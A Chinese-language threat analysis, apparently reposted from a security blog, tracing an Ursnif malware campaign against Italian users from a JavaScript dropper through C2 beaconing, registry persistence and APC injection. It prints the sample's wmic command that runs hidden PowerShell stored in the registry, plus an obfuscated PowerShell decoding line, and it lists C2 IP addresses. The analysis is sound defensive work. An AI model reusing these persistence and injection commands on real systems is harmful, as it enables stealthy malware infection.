在上周,Ursnif恶意软件的一个新变种被发现通过垃圾电子邮件活动向意大利用户发起了攻击。事实上,Yoroi-Cybaze ZLAB成功捕获了几封恶意电子邮件,内容如下:

  • 主题:VS Spedizione DHL AWB 94856978972 proveniente dalla GRAN BRETAGNA AVVISO DI GIACENZA
  • 附件:GR930495-30495.zip

附件所包含的内容是一个.js文件,在执行后会通过从互联网下载其他组件来启动整个感染链。

Dropper

感染链第一阶段的dropper是一个经过混淆处理的javascript。一旦运行,它会生成大量有噪网络流量,目的是使得对真实恶意基础设施的检测更加困难。在下图中我们可以看到,该脚本包含了一系列看起来像是随机生成的URL,而该脚本会尝试连接到这些URL,并且均会以失败告终,从而在分析环境中生成大量的网络流量噪声。

图1:恶意软件尝试连接到硬编码URL,以生成噪声

图2:生成的网络流量噪声

事实上,这个javascript执行的真正恶意操作是创建一个批处理文件,路径为“%APPDATA%\Roaming\325623802.bat”。该文件实际上是一个简单的脚本文件,包含以下代码:

图3:提取的批处理文件

这个脚本的执行会导致一个pdf格式的“FedEx(联邦快递)”手册弹出,用来诱骗受害者。同时,它会从一个被攻陷的中文网站下载一个CAB压缩文件,并从中提取一个PE32可执行文件。

图4:弹出的PDF文档

第二阶段

感染链的第二阶段涉及到通过dropper将一个名为“ppc.cab”的文件下载到“%APPDATA%\Roaming”:它实际上是一个Microsoft Cabinet文件,内嵌有一个名为“puk.exe”的可执行文件。

“puk.exe”文件在执行后会立即生成自身进程的一个新副本,以使调试更加困难。然后,它会启动Internet Explorer进程的多个实例,用来将它的网络活动隐藏在合法进程中。

图5:由原始“puk.exe”生成的进程

iexplore.exe进程生成的网络流量指向远程目标149.129.129.1(ALICLOUD-IN)和47.74.131.146(AL-3),它们是攻击者的恶意基础设施的一部分。

图6:C2网络流量

在C2通信中识别的beaconing模式与Gozi/Ursnif/IFSB/Dreambot恶意软件变种一致。此外,样本所采用的特定“/wpapi/”基地址也与我们在今年追踪的几起垃圾电子邮件活动相匹配(例如,EW.N070618N030618N010318)。

图7:恶意软件的beaconing请求

持久性

感染链的第三阶段旨在确保恶意软件能够长期驻留在受感染系统中。为此,它添加了一个包含多个二进制数据块的特定注册表项“HKEY_CURRENT_USER\Software\AppDataLow\Software\Microsoft\6C174C70-DB2B-7E6F-C560-3F92C994E3E6”。

图9:恶意软件添加的注册表项

在上面展示的注册表项中有一个名为“ddraxpps”的条目,而这个条目名称也被用于在今年1月份被分析的其他Ursnif样本的持久性机制。此外,恶意软件还配置一个名为“comuroxy”的键值,其中包含一个wmic命令“process call create”,用于调用“ddraxpps”条目中的powershell代码:

C:\Windows\system32\wbem\wmic.exe /output:clipboard process call create "powershell -w hidden iex([System.Text.Encoding]::ASCII.GetString((get-itemproperty 'HKCU:\Software\AppDataLow\Software\Microsoft\6C174C70-DB2B-7E6F-C560-3F92C994E3E6').ddraxpps))"。

“ddraxpps”键值所包含的一个十六进制字符串可以使用一个简单的“十六进制到ASCII”转换工具来进行解码,其内容实际上是如下经过混淆处理的PowerShell代码:

图10:“ddraxpps”键值的内容

第一行代码包含了一组命令,允许执行以十进制编码的payload。而第二行的一段数字则代表的是以十进制编码的实际可执行payload。

$sagsfg="qmd";function ndltwntg{$sxpjuhsps=[System.Convert]::FromBase64String($args[0]);[System.Text.Encoding]::ASCII.GetString($sxpjuhsps);};

第三行包含一个base64编码的PowerShell代码段,揭露了一种已知的payload注入技术的使用——“APC injection(APC注入)”或“AtomBombing”,用于感染“iexplore.exe”进程。

图11:“ddraxpps”键值第三行代码包含的命令

在图11中展示的所有命令都是执行APC注入操作所必需的:在第一个变量“$ jtwhasq”中,导入了必要的库“kernel32.dll”,特别是函数“GetCurrentProcess()”和“VirtualAllocEx()”。第二行提供了函数“GetCurrentThreadId()”、“QueueUserAPC()”、“OpenThread()”的导入。

第三行包含实际注入。换句话来说,前两行包含了所有导入、函数和相关参数的准备,而第三行则负责实际APC注入技术的执行。第一步是使用当前进程的“VirtualAllocEx()”函数来创建一个虚拟段(virtual section),该函数的识别是通过“GetCurrentProcess()”来完成的。然后,恶意软件将被复制到虚拟段。最后,这个虚拟段将通过“QueueUserAPC()”函数被注入到“iexplore.exe”进程的一个本地线程中。

总结

总的来说,整个感染链可归纳为四个阶段:用来隐藏攻击者基础设施的网络流量噪声的生成、可执行payload的下载、用来实现持久性的注册表项的添加,以及Ursnif模块的检查和下载。

图12.感染链

声明:本文来自黑客视界,版权归作者所有。文章内容仅代表作者独立观点,不代表安全内参立场,转载目的在于传递更多信息。如有侵权,请联系 anquanneican@163.com。